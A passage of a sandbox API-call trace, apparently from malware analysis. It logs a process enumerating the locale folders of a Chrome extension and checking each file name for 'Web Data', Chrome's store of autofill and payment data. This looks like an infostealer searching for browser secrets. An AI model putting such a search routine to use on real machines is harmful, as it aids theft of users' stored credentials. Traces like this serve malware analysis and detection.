Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et" [0056.437] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*.*" [0056.437] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.437] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.437] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.437] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.437] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.437] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.437] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.437] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.437] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.437] LocalFree (hMem=0x2e0100) returned 0x0 [0056.437] LocalFree (hMem=0x2e0210) returned 0x0 [0056.437] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.437] lstrcmpiA (lpString1=".", lpString2="eu") returned -1 [0056.437] lstrcmpiA (lpString1="..", lpString2="eu") returned -1 [0056.437] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.437] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.437] lstrlenA (lpString="\\") returned 1 [0056.437] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.437] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.437] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.437] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.437] lstrlenA (lpString="eu") returned 2 [0056.437] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.437] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.437] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="eu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu" [0056.437] LocalFree (hMem=0x2e0100) returned 0x0 [0056.437] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu") returned 131 [0056.437] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu") returned 131 [0056.437] lstrlenA (lpString="\\*.*") returned 4 [0056.437] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.437] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu" [0056.437] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*.*" [0056.437] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.437] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.438] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.438] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.438] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.438] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.438] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.438] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.438] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.438] LocalFree (hMem=0x2e0100) returned 0x0 [0056.438] LocalFree (hMem=0x2e0210) returned 0x0 [0056.438] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.438] lstrcmpiA (lpString1=".", lpString2="fa") returned -1 [0056.438] lstrcmpiA (lpString1="..", lpString2="fa") returned -1 [0056.438] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.438] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.438] lstrlenA (lpString="\\") returned 1 [0056.438] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.438] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.438] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.438] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.438] lstrlenA (lpString="fa") returned 2 [0056.438] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.438] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.438] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="fa" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" [0056.438] LocalFree (hMem=0x2e0100) returned 0x0 [0056.438] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned 131 [0056.438] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned 131 [0056.438] lstrlenA (lpString="\\*.*") returned 4 [0056.438] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.438] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa" [0056.438] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*.*" [0056.438] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.438] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.438] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.438] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.438] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.438] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.438] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.438] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.438] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.438] LocalFree (hMem=0x2e0100) returned 0x0 [0056.438] LocalFree (hMem=0x2e0210) returned 0x0 [0056.438] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.438] lstrcmpiA (lpString1=".", lpString2="fi") returned -1 [0056.438] lstrcmpiA (lpString1="..", lpString2="fi") returned -1 [0056.438] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.439] lstrlenA (lpString="\\") returned 1 [0056.439] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.439] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.439] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.439] lstrlenA (lpString="fi") returned 2 [0056.439] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2e0210 [0056.439] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.439] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" [0056.439] LocalFree (hMem=0x2e0100) returned 0x0 [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned 131 [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned 131 [0056.439] lstrlenA (lpString="\\*.*") returned 4 [0056.439] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2e0100 [0056.439] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi" [0056.439] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*.*" [0056.439] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.439] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.439] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.439] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.439] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.439] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.439] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.439] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.439] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.439] LocalFree (hMem=0x2e0100) returned 0x0 [0056.439] LocalFree (hMem=0x2e0210) returned 0x0 [0056.439] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.439] lstrcmpiA (lpString1=".", lpString2="fil") returned -1 [0056.439] lstrcmpiA (lpString1="..", lpString2="fil") returned -1 [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned 128 [0056.439] lstrlenA (lpString="\\") returned 1 [0056.439] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2e0100 [0056.439] lstrcpyA (in: lpString1=0x2e0100, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales" [0056.439] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned 129 [0056.439] lstrlenA (lpString="fil") returned 3 [0056.439] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2e0210 [0056.439] lstrcpyA (in: lpString1=0x2e0210, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\" [0056.439] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\", lpString2="fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil" [0056.439] LocalFree (hMem=0x2e0100) returned 0x0 [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil") returned 132 [0056.439] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil") returned 132 [0056.439] lstrlenA (lpString="\\*.*") returned 4 [0056.439] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2e0320 [0056.439] lstrcpyA (in: lpString1=0x2e0320, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil" [0056.439] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*.*") returned="C:\\Users\\aDU0VK 